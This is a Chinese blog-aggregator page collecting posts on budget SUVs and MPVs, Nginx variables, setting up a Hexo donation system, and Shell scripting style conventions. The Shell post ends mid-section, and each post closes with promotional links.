標籤: 租車

  • 成天喊着要SUV 這幾款只要5萬起你買不買?

    成天喊着要SUV 這幾款只要5萬起你買不買?

    值得一提的是,甚至還能在它身上看到換擋撥片。動力方面,1。5L自然吸氣發動機加5MT的搭配,性能方面不用擔心,完全夠用。至於另外一台AMT變速箱,畢竟受限於成本,性能方面肯定不及CVT,但相比那些只有純手動擋的對手來說也算得上一優勢。

    叫獸有時候總在想,SUV究竟還要火多久?是不是今後就要與傳統轎車“平分秋色”了?

    我不得而知。總之,存在即合理。叫獸可不是來探討這個高深的問題的,既然老老少少都對SUV抱有這麼大的熱情,倒不如成人之美,今天就推薦幾款市面上能買到(或即將上市)價格最親民並且還很靠譜的SUV,喜歡SUV的同學們可不要錯過。

    以下按價格由低到高的順序排列。

    江淮汽車 – 瑞風S2mini

    預售價:4.58 – 5.68萬

    瑞風S2mini的推出,更是將SUV的火爆演繹到了極致。這款定位在小型SUV – 瑞風S2之下的S2mini,幾乎是今後市面上能買到的最便宜的大廠SUV。

    正如它的造型一樣,呆萌的造型只賣獃萌的價格。作為江淮最入門的車型,瑞風S2mini同樣運用了江淮最新的家族設計,我們依然能在這個“小巧”的前臉上看到“寶瓶式”設計,看上去在呆萌中透露出一絲狠勁,挺好。

    外掛式備胎算是S2mini的一大亮點,從後方看去就像一位背着書包的壞小子,竟毫無違和感;3775*1685*1775mm的車身也能體現其“小學生”的身份。

    內飾倒是讓人眼前一亮,紅黑色的搭配彰顯了年輕人的活力,頂配車型甚至還採用了皮質包裹,對於這麼一款售價的SUV來說,有點意思。

    動力則搭載一台1.3L自然吸氣發動機,最大馬力99ps,峰值扭矩為126Nm,這樣的參數對於這麼一個“小身材”綽綽有餘;與發動機匹配的只有一台5MT變速箱。

    叫獸點評:升高几厘米底盤,冠上SUV稱號的S2mini未來的市場一定會比同價位轎車快活得多。

    長城汽車 – 哈弗H1

    指導價:5.49 – 7.89萬

    H6銷量的恐怖程度相信大家早有耳聞,叫獸的印象中,國內月銷量超8萬的單一車型除了五菱宏光就是H6了。作為哈弗家族的入門產品,H1的表現如何呢?

    你可以認為H1就是從M4拉皮而來,但不可否認的是,H1擁有同級SUV里較高的顏值。碩大的蜂窩式黑色格柵,看上去頗有幾分氣勢。

    車尾設計精緻幹練,如果說S2mini是個調皮的小子,那H1更像位體育委員。別多想,這排氣孔只是裝飾,唬人的。

    內飾給人的驚喜很大,雖然有些某豪華品牌的設計元素在裏面,不過從視覺層面來看還是挺讓人滿意的。值得一提的是,甚至還能在它身上看到換擋撥片。

    動力方面,1.5L自然吸氣發動機加5MT的搭配,性能方面不用擔心,完全夠用;至於另外一台AMT變速箱,畢竟受限於成本,性能方面肯定不及CVT,但相比那些只有純手動擋的對手來說也算得上一優勢。

    叫獸點評:長城的功底還是不錯的,更推薦手動版本。

    長安汽車 – CS15

    指導價:5.79 – 7.79萬

    近幾年,長安的“CS系列”死磕長城哈弗,雖然整體銷量還有些距離,但也算混的順風順水。CS15則是很有力的證明。

    CS15擁有比以上兩款更接近SUV的造型,造型上採用高度原創的設計,看上去也更討喜。

    內飾部分同樣令人滿意,看上去似乎亮點不多,不過長安紮實的做工和用料還是對得起它的價格的。

    除了同樣是1.5L + 5MT的動力組合外,CS15最大的看點在於它是同級車型里鮮有配備了雙離合變速箱的車型。換擋表現不敢說多麼平順,但比起AMT變速箱還是有明顯優勢的。這一點也能讓其吸引更多潛在客戶的關注。

    叫獸點評:6、7萬的自動擋SUV,非CS15莫屬。

    上汽通用五菱 – 寶駿510

    預售價:5.98 – 7.58萬

    510這款車不用多說,自去年廣州車展亮相后就受到了極大關注,不難預料,這即將成為寶駿又一爆款車型。

    天馬行空的車頭設計不用多介紹了,叫獸認為這個設計起碼向上越了兩級,這也將成為510未來競爭的最大殺手鐧。

    內飾部分,叫獸認為510是以上幾款車裡最值得表揚的。無論是設計還是用料均達到了主流水平,重點是,這是原創設計喲!

    動力搭載的是與730同款的L2B 1.5L自然吸氣發動機,性能和可靠性自然無須擔心。唯一遺憾的是,先期並沒有提供自動擋版本。

    叫獸點評:近兩年寶駿推出的車型幾乎都成為爆款,不用多想,510又要革了小型SUV市場的命。

    THE

    END

    總結

    誰說便宜無好貨?當工業發展到一定程度,成本和設計都成熟以後,依然能推出物美價廉的產品。如果你對SUV情有獨鍾並且預算有限,這幾款是個非常不錯的選擇。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 5-10萬預算還想買7座?這些車是全民認證的好!

    5-10萬預算還想買7座?這些車是全民認證的好!

    08-9。28萬寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

    在5-10萬元這個價位,如果單論哪種車子的實用性最高,小編肯定會不假思索的推薦MpV(微面),因為這些車子價格非常實惠,質量很好,空間很大,拉人載貨都非常方便。所以小編就給大家推薦幾款2016年全年銷量比較好的MpV。

    上汽通用五菱-五菱宏光

    指導價:4.18-6.98萬

    其實第一不用說大家就猜到是五菱宏光,中華神車五菱宏光在2016年12月份的銷量高達82543輛,2016年全年累計銷量為650018輛,這樣高調的銷量數據估計只有美國的皮卡福特F-150可以媲美了。雖然五菱宏光的發動機沒法和大排量V8的F-150相比,但是宏光價格要便宜很多啊!而且,宏光可以盡情的甩尾漂移,這點F-150不好做到吧!畢竟宏光也是征服過秋名山的选手。

    宏光的不同車型的車身尺寸略有差異,但是軸距都為2720mm,座位數為5-8個不等。當然低配的宏光是不可能有中控大屏幕的,畢竟車價較低,不過,有了中控大屏,宏光的中控看起來立馬高端很多。

    宏光的動力系統為1.2L 86馬力/1.5L 112馬力+5擋手動,別看宏光馬力較小,但是宏光的定位是微面,就是用來干粗活的,所以即使是滿載,只要油門轟起來,也不會感到動力不足。

    上汽通用五菱-寶駿730

    指導價:6.08-9.28萬

    寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。

    雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

    寶駿730的動力選擇很豐富,有自吸、同時也有渦輪發動機,甚至還有AMT車型可供消費者選擇。其實小編認為如果只是偶爾拉貨,多數情況是坐人的話,那麼最好還是選擇730吧!畢竟730前置前驅結構,噪音要比宏光小很多,同時整車的質感和配置也要明顯強於宏光,多花兩萬元還是比較值得的!

    長安汽車-歐尚

    指導價:5.19-6.49萬

    長安歐尚2016年全年的銷量為118185輛,表現還算不錯,歐尚的車身尺寸為4465*1725*1685/1700mm,軸距為2680mm。全系均為七座車型。

    內飾的造型絕對對得起這個價位,全黑的中控看起來質感很不錯,甚至有種比較高檔的感覺,不過內飾的用料肯定是以硬塑料為主了,畢竟價位有限么,可以理解。

    其實歐尚的性價比挺不錯的,絕對不比730的性價比低,畢竟6.49萬的歐尚就有ESp、上坡輔助、電動天窗、真皮方向盤、前/后駐車雷達、倒車視頻影像、仿皮座椅、GpS導航、中控大屏、藍牙、後座出風口等配置,關鍵是歐尚的優惠比730要大不少,如果不介意歐尚的尺寸小於730的話,那麼歐尚還是很值得入手的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • Nginx 的變量究竟是怎麼一回事?

    之前說了很多關於 Nginx 模塊的內容,還有一部分非常重要的內容,那就是 Nginx 的變量。變量在 Nginx 中可以說無處不在,認識了解這些變量的作用和原理同樣是必要的,下面幾乎囊括了關於 Nginx 的所有變量,單獨看起來可能比較枯燥,放心,後面依然有實戰內容。

    Nginx 變量的運行原理

    圍繞 Nginx 中的變量模塊可以分為兩類,一類是提供變量的模塊,另外一類是使用變量的模塊。

    • 提供變量的模塊
      • 在 Preconfiguration 源代碼中定義變量名以及可以解析出變量的方法
    • 使用變量的模塊
      • 解析 nginx.conf 時定義變量的使用方式

    也就是在 Nginx 啟動時,已經定義了變量,而只有當真正處理請求的時候,才會根據 nginx.conf 解析出來的變量使用方式調用 Preconfiguration 中定義的方法來實際獲取值。

    這也是變量的兩個特性:

    • 惰性求值:只有使用的時候才會去調方法解析
    • 變量值可以時刻變化,其值為使用的那一時刻的值。例如發送響應包體字節數,實際在發送的過程中是一直在變化的。

    除了 Nginx 的模塊之外,Nginx 框架也包含許多的變量,這些變量不需要通過編譯模塊來引入,而且,Nginx 框架所提供的變量往往反映了處理請求的細節,因此,了解 Nginx 框架所提供的變量是十分有必要的。

    HTTP 請求相關的變量

    先來看一下關於 HTTP 請求的相關變量。

    • arg_參數名:URL 中某個具體參數的值

    • query_string:與 args 變量完全相同

    • args:全部 URL 參數

    • is_args:如果請求 URL 中有參數則返回 ?,否則返回空

    • content_length:HTTP 請求中標識包體長度的 Content-Length 頭部的值。如果請求中沒有攜帶這個參數,那麼就取不到對應的值。

    • content_type:標識請求包體類型的 Content-Type 頭部的值。同樣需要用戶請求中攜帶對應的參數。

    • uri:請求的 URI(不同於 URL,不包括 ? 后的參數)

    • document_uri:與 uri 完全相同。由於歷史原因而存在的。

    • request_uri:請求的 URL(包括 URI 以及完整的參數)

    • scheme:協議名,例如 HTTP 或者 HTTPS

    • request_method:請求方法,例如 GET 或者 POST

    • request_length:所有請求內容的大小,包括請求行、頭部、包體等

    • remote_user:由 HTTP Basic Authentication 協議傳入的用戶名

    • request_body_file:很多時候會將用戶請求的包體存放到文件中,這個變量就是臨時存放請求包體的文件

      • 如果包體非常小則不會存文件
      • client_body_in_file_only 指令強制所有包體存入文件,且可決定是否刪除
    • request_body:請求中的包體,這個變量當且僅當使用反向代理,且設定用內存暫存包體時才有效

    • request:原始的 URL 請求,含有方法與協議版本,例如 GET /?a=1&b=22 HTTP/1.1

    • host

      • 先從請求行中獲取
      • 如果含有 Host 頭部,則用其值替換掉請求行中的主機名
      • 如果前兩者都取不到,則使用匹配上的 server_name
    • http_頭部名字:返回一個具體請求頭部的值

      特殊變量,這些變量會做一些處理。

      • http_host
      • http_user_agent
      • http_referer
      • http_via
      • http_x_forwarded_for
      • http_cookie

      通用變量,除了以上的變量,都可以取到對應的值。

    TCP 連接相關的變量

    下面是關於 TCP 連接的變量。

    • binary_remote_addr:客戶端地址的整形格式,對於 IPv4 是 4 字節,對於 IPv6 是 16 字節,所以在 limit_req 和 limit_conn 中通常可以用作 key (詳見:Nginx 處理 HTTP 請求的 11 個階段 中的 preaccess 階段)
    • connection:遞增的連接序號
    • connection_requests:當前連接上執行過的請求數,對 keepalive 連接有意義
    • remote_addr:客戶端地址
    • remote_port:客戶端端口
    • proxy_protocol_addr:若使用了 proxy_protocol 協議,則返回協議中的地址,否則返回空
    • proxy_protocol_port:若使用了 proxy_protocol 協議則返回協議中的端口,否則返回空
    • server_addr:服務端地址
    • server_port:服務器端端口
    • TCP_INFO:TCP 內核層參數,包括 $tcpinfo_rtt, ​$tcpinfo_rttvar,​$tcpinfo_snd_cwnd, $tcpinfo_rcv_space
    • server_protocol:服務器端協議,例如 HTTP/1.1

    Nginx 處理請求過程中產生的變量

    Nginx 處理 HTTP 請求的過程中也會產生很多變量。

    • request_time:請求處理到現在的耗時,單位為秒,精確到毫秒
    • server_name:匹配上請求的 server_name 值
    • https:如果開啟了 TLS/SSL 則返回 on,否則返回空
    • request_completion:若請求處理完則返回 OK,否則返回空
    • request_id:以 16 進制輸出的請求表示 id,該 id 共含有 16 個字節,是隨機生成的
    • request_filename:待訪問文件的完整路徑
    • document_root:由 URI 和 root、alias 規則生成的文件夾路徑
    • realpath_root:將 document_root 中的軟鏈接等換成真實路徑
    • limit_rate:返回客戶端響應時的速度上限,單位為每秒字節數。可以通過 set 指令修改對請求產生的效果

    發送 HTTP 響應時相關的變量

    • body_bytes_sent:響應中 body 包體的長度

    • bytes_sent:全部 http 響應的長度

    • status:http 響應中的返回碼

    • sent_trailer_名字:把響應結尾內容里的值返回

    • sent_http_頭部名字:響應中某個具體頭部的值

      特殊處理,下面這些變量需要經過特殊處理:

      • sent_http_content_type
      • sent_http_content_length
      • sent_http_location
      • sent_http_last_modified
      • sent_http_connection
      • sent_http_keep_alive
      • sent_http_transfer_encoding
      • sent_http_cache_control
      • sent_http_link

      通用:除了上面這些頭部,其他的頭部都是通用型的,也就是可以直接拿來用。

    Nginx 系統變量

    • time_local:以本地時間標準輸出的當前時間,例如 14/Nov/2018:15:55:37 +0800
    • time_iso8601:使用 ISO8601 標準輸出的當前時間,例如 2018-11-14T15:55:37+08:00
    • nginx_version:Nginx 版本號
    • pid:所屬 worker 進程的進程 id
    • pipe:使用了管道則返回 p,否則返回 .
    • hostname:所在服務器的主機名,與 hostname 命令輸出一致
    • msec:1970 年 1 月 1 日到現在的時間,單位為秒,小數點后精確到毫秒

    實戰

    配置文件:

    log_format  vartest  '$remote_addr - $remote_user [$time_local] "$request" '
                          '$status bytes_sent=$bytes_sent body_bytes_sent=$body_bytes_sent "$http_referer" '
                          '"$http_user_agent" "$sent_http_abc"';
    
    server {
    	server_name var.ziyang.com localhost;
    	#error_log logs/myerror.log debug;
    	access_log logs/vartest.log vartest;
    	listen 9090;
    	
    	location / {
    		set $limit_rate 10k;
            # return 200; tcpinfo: $tcpinfo_rtt,$tcpinfo_rttvar, $tcpinfo_snd_cwnd, $tcpinfo_rcv_space 
    		return 200 '
    arg_a: $arg_a,arg_b: $arg_b,args: $args
    connection: $connection,connection_requests: $connection_requests
    cookie_a: $cookie_a
    uri: $uri,document_uri: $document_uri, request_uri: $request_uri
    request: $request
    request_id: $request_id
    server: $server_addr,$server_name,$server_port,$server_protocol
                
    host: $host,server_name: $server_name,http_host: $http_host
    limit_rate: $limit_rate
    hostname: $hostname
    content_length: $content_length
    status: $status
    body_bytes_sent: $body_bytes_sent,bytes_sent: $bytes_sent
    time: $request_time,$msec,$time_iso8601,$time_local
    ';
    	}	
    }
    

    從上面這個配置文件中,我們可以看出來,返回的響應裡面包含了一系列的變量,實際驗證一下:

      test_nginx curl -H 'Content-Length: 0' -H 'Cookie: a=c1' 'localhost:9090?a=1&b=22'
    
    arg_a: 1,arg_b: 22,args: a=1&b=22
    connection: 2,connection_requests: 1
    cookie_a: c1
    uri: /,document_uri: /, request_uri: /?a=1&b=22
    request: GET /?a=1&b=22 HTTP/1.1
    request_id: 5d40b1ff29d2b87d5db5c4f95ebf5e4d
    server: 127.0.0.1,var.ziyang.com,9090,HTTP/1.1
    host: localhost,server_name: var.ziyang.com,http_host: localhost:9090
    limit_rate: 10240
    hostname: yuanzizhen.local
    content_length: 0
    status: 200
    body_bytes_sent: 0,bytes_sent: 0
    time: 0.000,1590842354.866,2020-05-30T20:39:14+08:00,30/May/2020:20:39:14 +0800
    

    大家可以對比一下響應和配置文件中的值是不是一一對應的,更加深刻的理解一下變量的含義。

    好了,這一節咱們學習了。關於 Nginx 的變量就講完了,下一節講一下實際應用變量的兩個模塊,大家會有更深刻的理解。

    本文首發於我的個人博客:iziyang.github.io,所有配置文件我已經放在了 Nginx 配置文件,大家可以自取。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

  • 給你看看小白博主開發的打賞系統

    給你看看小白博主開發的打賞系統

    本文章最初發表在XJHui’s Blog,未經允許,任何人禁止轉載!

    為使您獲得最好的閱讀體驗,強烈建議您點擊 這裏 前往 XJHui’s Blog 查看!

    Hexo-Donate

    打賞系統;打賞並填寫問卷后信息可以自動在打賞列表中展示;

    GitHub項目地址:https://github.com/xingjiahui/Hexo-Donate

    寫在前面

    1. 作者是大二軟工學生,在代碼規範系統強壯性等方面肯定存在欠缺,但也在努力提升自己能力。

    2. 自己的 個人博客 搭建好后,又用之前學的Web前端知識寫了打賞頁面,思路是:

      給 IamZLT 體驗后,也是覺得體驗不太友善(從填寫問卷到看到自己的打賞信息需要等待的時間太長)

      決定改版,從05.2706.02用一周的時間從確定思路測試思路可行性,從測試版發布再到功能完善,最終有了此系統。

      新版本思路:

    3. 系統用到的數據庫PHP等方面知識我還是個小白,但能憑自己能力把它實現出來就已經很滿意了。

    4. 問題或不足歡迎開 issues 或到 XJHui’s Blog 留言。

    關於系統

    理論上不管什麼框架,只要有一個空白頁面就能安排上…

    打賞列表demo:https://xingjiahui/donate

    問卷頁面demo:https://donate.xingjiahui.top

    後台管理暫時需要操作數據庫(可視化界面),如有必要可以添加後端管理頁面

    已支持的功能

    1. 打賞列表可統計總打賞人數打賞金額
    2. 不同打賞方式字體显示顏色不同
    3. 填寫打賞問卷並成功上傳,可在打賞列表中显示填寫的信息
    4. 數據上傳成功后,博主會收到QQ消息提醒

    待更新內容

    1. 區分已核實未核實金額
    2. 豐富QQ消息提醒內容
    3. 接入微信推送
    4. 支持自動審核

    系統界面圖

    1. 打賞列表:

    2. 問卷頁面:

    3. 操作GIF實錄:

    注:QQ消息提醒內容以後會豐富。

    安裝系統要求

    1. 虛擬主機(有免費版本在這裏 購買 )或 雲服務器(小白建議安裝寶塔面板)
    2. 打賞列表準備一個頁面

    使用該系統

    教程中用到的免費虛擬主機維護結束,已開放購買。

    下載並上傳

    1. 在項目頁clone or download選擇Download ZIP

    2. 在虛擬主機控制面板選擇在線文件管理器並進入www目錄下:

      解壓后如圖:

      框選出的文件/文件夾可刪除

    導入數據庫

    點擊donate_info.sql文件后的導入,提示輸入數據庫密碼

    當你開通虛擬主機時,會看到如下頁面:

    將這個密碼填入,即可導入成功(無視警告):

    為了便於測試,導入的數據庫中自帶了兩條數據:

    系統測試完成后請刪除!

    搭建問卷網站

    其實,將項目文件導入后,網站已經搭建完成:

    但訪問這個頁面需要域名,依次點擊控制面板基本功能域名綁定,就能看到自己網站的域名啦:

    瀏覽器訪問這個域名就能看到上面那個頁面了,但並不代表系統就弄好了!

    配置虛擬主機

    回到面板首頁,找到賬戶主機信息

    將右下角的PHP版本更換為php73

    注:如果不知道怎麼回主面板,點擊上圖左上角頭像試試!

    以下操作需要在www目錄下完成!

    1. 配置getJsonData.php

      點擊編輯

      找到下圖框選出的位置:

      還記得賬戶主機信息么,將對應的信息替換。

    2. 配置regist.php

      點擊編輯,找到下圖框選出的位置:

      下圖位置也要修改:

    3. 測試數據庫是否配置成功

      訪問上面那個域名,填寫上信息:

      上傳,判斷是否配置成功:

      ​ 注意:只要是提示錯誤/警告一定是操作問題,認真檢查。

    4. 檢查數據導出是否正常:

      瀏覽器訪問:域名/getJsonData.php

      查看能否導出數據庫內容:

    目前為止,打賞頁面數據庫已經配置好了,最後就是在前端把數據庫中的數據展現出來。

    編輯前端頁面

    1. forkgithub項目:

    2. 編輯pageJs.js文件

      點擊下圖位置可以在線修改文件:

      修改內容為:

    3. 編輯下面的代碼並粘貼到前面準備的空白頁面:

      Hexo框架下無論post(博客)還是page(頁面)都是markdown格式,但markdown兼容html提供了很大的便利性。

      修改下圖位置代碼:

      粘貼到空白頁面(markdown/html均可):

      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/sviptzk/HexoStaticFile@master/Hexo/css/custom.min.css">
      <p>截至 <span class="inline-tag red">nowDate</span>,共收到來自 <span class="inline-tag red">personNum</span>位小夥伴的打賞,金額為
          <span class="inline-tag red">sumDonate</span> 元!</p>
      <table>
          <thead>
          <tr>
              <th align="center">用戶名</th>
              <th align="center">打賞方式</th>
              <th align="center">打賞金額</th>
              <th align="center">賞金去向</th>
          </tr>
          </thead>
      </table>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/改成你的github用戶名/Hexo-donate@latest/pageJs.js"></script>
      

      注意:上面引用css不符合規範,但暫時沒有找到替代的方法。

    4. 檢查前端頁面是否能夠正常显示數據:

    提醒功能

    1. 到 Qmsg醬 這裏登陸並選擇一個Qmsg醬小姐姐

    2. 添加一個QQ號,然後添加1中的選擇的小姐姐為好友:

      注意:登陸賬號(如果QQ登陸)添加的賬號都要添加“她”為好友。

    3. 點擊文檔,用接口地址替換下面代碼中的接口地址

      echo '<script>function Qmsg(){var xhr=new XMLHttpRequest();url="接口地址?msg=收到新的打賞啦!";url=encodeURI(url);xhr.open("GET",url,true);xhr.send()}Qmsg();</script>';
      
    4. www目錄下編輯regist.php文件,將上面的代碼粘貼在下圖位置:

    後期使用

    1. 填寫打賞問卷后,點擊返回打賞列表會跳轉到作者的打賞列表:

      想修改為自己的,可以修改虛擬主機www目錄下的index.html文件:

    2. 後期維護:

      當有人打賞后,根據填寫的打賞方式去賬戶看有沒有到賬。

      • 收到打賞:將數據庫中donate_confirm字段修改為YES

      • 未收到打賞:在數據庫中將該記錄刪除

    至此,Hexo-Donate打賞系統全部安裝完成!

    感謝

    愛網雲、JsDelivr、Qmsg醬、亂世中的單純

    FLORIN POP、濤歌依舊、Yiven、程序小能手

    怪我咯、SweetAlert2、BigShow、百度經驗

    不足之處,歡迎留言,會及時回復,及時更正!

    創作不易,感謝支持!

    本文由博客群發一文多發等運營工具平台 OpenWrite 發布

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • Shell語法規範

    • ver:1.0
    • 博客:https://www.cnblogs.com/Rohn
    • 本文介紹了Shell編程的一些語法規範,主要參考依據為谷歌的Shell語法風格。

    目錄

    • 背景
      • 使用哪一種Shell
      • 什麼時候使用Shell
    • 註釋
      • 頂層註釋
      • 功能註釋
      • TODO註釋
    • 格式
      • 縮進
      • 行的長度和長字符串
      • 管道
      • 循環
        • if-else語句
        • for-do和while-do語句
      • case語句
      • 變量擴展
    • 特性
      • 命令替換
      • 文件名的通配符擴展
    • 命名約定
      • 函數名
      • 變量名
      • 常量和環境變量名
      • 源文件名
      • 只讀變量
      • 使用本地變量
    • 調用命令
      • 檢查返回值

    背景

    博客:https://www.cnblogs.com/Rohn

    使用哪一種Shell

    可執行文件必須以 #!/bin/bash 和最小數量的標誌開始。請使用 set 來設置shell的選項,使得用 <script_name>調用你的腳本時不會破壞其功能。

    推薦使用:

    #!/usr/bin/env bash
    

    env一般固定在/usr/bin目錄下,而其餘解釋器的安裝位置就相對不那麼固定。

    限制所有的可執行Shell腳本為bash使得我們安裝在所有計算機中的shell語言保持一致性。

    無論你是為什麼而編碼,對此唯一例外的是當你被迫時可以不這麼做的。其中一個例子是Solaris SVR4包,編寫任何腳本都需要用純Bourne shell

    [root@test ~]# echo $SHELL
    /bin/bash
    

    什麼時候使用Shell

    使用Shell需要遵守的一些準則:

    • 如果你主要是在調用其他的工具並且做一些相對很小數據量的操作,那麼使用Shell來完成任務是一種可接受的選擇。
    • 如果你在乎性能,那麼請選擇其他工具,而不是使用Shell。
    • 如果你發現你需要使用數據而不是變量賦值(如 ${PHPESTATUS} ),那麼你應該使用Python腳本。
    • 如果你將要編寫的腳本會超過100行,那麼你可能應該使用Python來編寫,而不是Shell。

    請記住,當腳本行數增加,儘早使用另外一種語言重寫你的腳本,以避免之後花更多的時間來重寫。

    註釋

    博客:https://www.cnblogs.com/Rohn

    Bash只支持單行註釋,使用#開頭的都被當作註釋語句。

    頂層註釋

    每個文件必須包含一個頂層註釋,對其內容進行簡要概述。版權聲明和作者信息是可選的。
    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
    # Perform hot backups of MySQL databases.
    
    • 第1行,指明解釋器,使用bash

    #!叫做”Shebang”或者”Sha-bang”(Unix術語中,#號通常稱為sharp,hash或mesh;而!則常常稱為bang),指明了執行這個腳本文件的解釋程序。當然,如果使用bash test.sh這樣的命令來執行腳本,那麼#!這一行將會被忽略掉。

    • 第2-5行,分別為作者、版本號、創建時間、功能說明。

    功能註釋

    任何不是既明顯又短的函數都必須被註釋。任何庫函數無論其長短和複雜性都必須被註釋。

    其他人通過閱讀註釋(和幫助信息,如果有的話)就能夠學會如何使用你的程序或庫函數,而不需要閱讀代碼。

    所有的函數註釋應該包含:

    • 函數的描述
    • 全局變量的使用和修改
    • 使用的參數說明
    • 返回值,而不是上一條命令運行后默認的退出狀態

    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
    # Perform hot backups of Oracle databases.
    
    export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin'
    
    #######################################
    # Cleanup files from the backup dir
    # Globals:
    #   BACKUP_DIR
    #   ORACLE_SID
    # Arguments:
    #   None
    # Returns:
    #   None
    #######################################
    cleanup() {
      ...
    }
    

    TODO註釋

    TODOs應該包含全部大寫的字符串TODO,接着是括號中你的用戶名。冒號是可選的。最好在TODO條目之後加上bug或者ticket的序號。

    例如:

    # TODO(mrmonkey): Handle the unlikely edge cases (bug ####)
    

    格式

    博客:https://www.cnblogs.com/Rohn

    縮進

    縮進兩個空格,沒有製表符。例如:

    if [ a > 1 ];then
      echo '${a} > 1'
    fi
    

    行的長度和長字符串

    行的最大長度為80個字符。例如:

    # DO use 'here document's
    cat <<END;
    I am an exceptionally long
    string.
    END
    
    # Embedded newlines are ok too
    long_string="I am an exceptionally
      long string."
    

    管道

    如果一行容不下整個管道操作,那麼請將整個管道操作分割成每行一個管段。

    應該將整個管道操作分割成每行一個管段,管道操作的下一部分應該將管道符放在新行並且縮進2個空格。這適用於使用管道符|的合併命令鏈以及使用||&&的邏輯運算鏈。

    例如:

    # All fits on one line
    command1 | command2
    
    # Long commands
    command1 \
      | command2 \
      | command3 \
      | command4
    

    循環

    if-else語句

    if; then放在同一行,;后空一格,else單獨一行,fi單獨一行,並與if垂直對齊。即:

    if condition; then
      statement(s)
    else
      statement(s)
    fi
    

    for-do和while-do語句

    while/for; do放在同一行,donewhile/for垂直對齊,即:

    # while structure
    while condition; do
      statement(s)
    done
    
    # for structure
    for condition; do
      statement(s)
    done
    

    例如:

    for dir in ${dirs_to_cleanup}; do
      if [[ -d "${dir}/${ORACLE_SID}" ]]; then
        log_date "Cleaning up old files in ${dir}/${ORACLE_SID}"
        rm "${dir}/${ORACLE_SID}/"*
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      else
        mkdir -p "${dir}/${ORACLE_SID}"
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      fi
    done
    

    case語句

    • 通過2個空格縮進可選項。
    • 在同一行可選項的模式右圓括號之後和結束符 ;;之前各需要一個空格。
    • 長可選項或者多命令可選項應該被拆分成多行,模式、操作和結束符;;在不同的行。

    匹配表達式比caseesac 縮進一級。多行操作要再縮進一級。一般情況下,不需要引用匹配表達式。模式表達式前面不應該出現左括號。避免使用;&;;&符號。即:

    # case structure
    case in expression in
      pattern1)
        statement1
        ;;
      pattern2)
        statement2
        ;;
      ...
      *)
        statementn
        ;;
    esac
    

    例如:

    case "${expression}" in
      a)
        variable="..."
        some_command "${variable}" "${other_expr}" ...
        ;;
      absolute)
        actions="relative"
        another_command "${actions}" "${other_expr}" ...
        ;;
      *)
        error "Unexpected expression '${expression}'"
        ;;
    esac
    

    只要整個表達式可讀,簡單的命令可以跟模式和;; 寫在同一行。這通常適用於單字母選項的處理。當單行容不下操作時,請將模式單獨放一行,然後是操作,最後結束符;; 也單獨一行。當操作在同一行時,模式的右括號之後和結束符;;之前請使用一個空格分隔。

    verbose='false'
    aflag=''
    bflag=''
    files=''
    while getopts 'abf:v' flag; do
      case "${flag}" in
        a) aflag='true' ;;
        b) bflag='true' ;;
        f) files="${OPTARG}" ;;
        v) verbose='true' ;;
        *) error "Unexpected option ${flag}" ;;
      esac
    done
    

    變量擴展

    按優先級順序:保持跟你所發現的一致;引用你的變量;推薦用${var}而不是$var

    例如

    # Section of recommended cases.
    
    # Preferred style for 'special' variables:
    echo "Positional: $1" "$5" "$3"
    echo "Specials: !=$!, -=$-, _=$_. ?=$?, #=$# *=$* @=$@ \$=$$ ..."
    
    # Braces necessary:
    echo "many parameters: ${10}"
    
    # Braces avoiding confusion:
    # Output is "a0b0c0"
    set -- a b c
    echo "${1}0${2}0${3}0"
    
    # Preferred style for other variables:
    echo "PATH=${PATH}, PWD=${PWD}, mine=${some_var}"
    while read f; do
      echo "file=${f}"
    done < <(ls -l /tmp)
    
    # Section of discouraged cases
    
    # Unquoted vars, unbraced vars, brace-quoted single letter
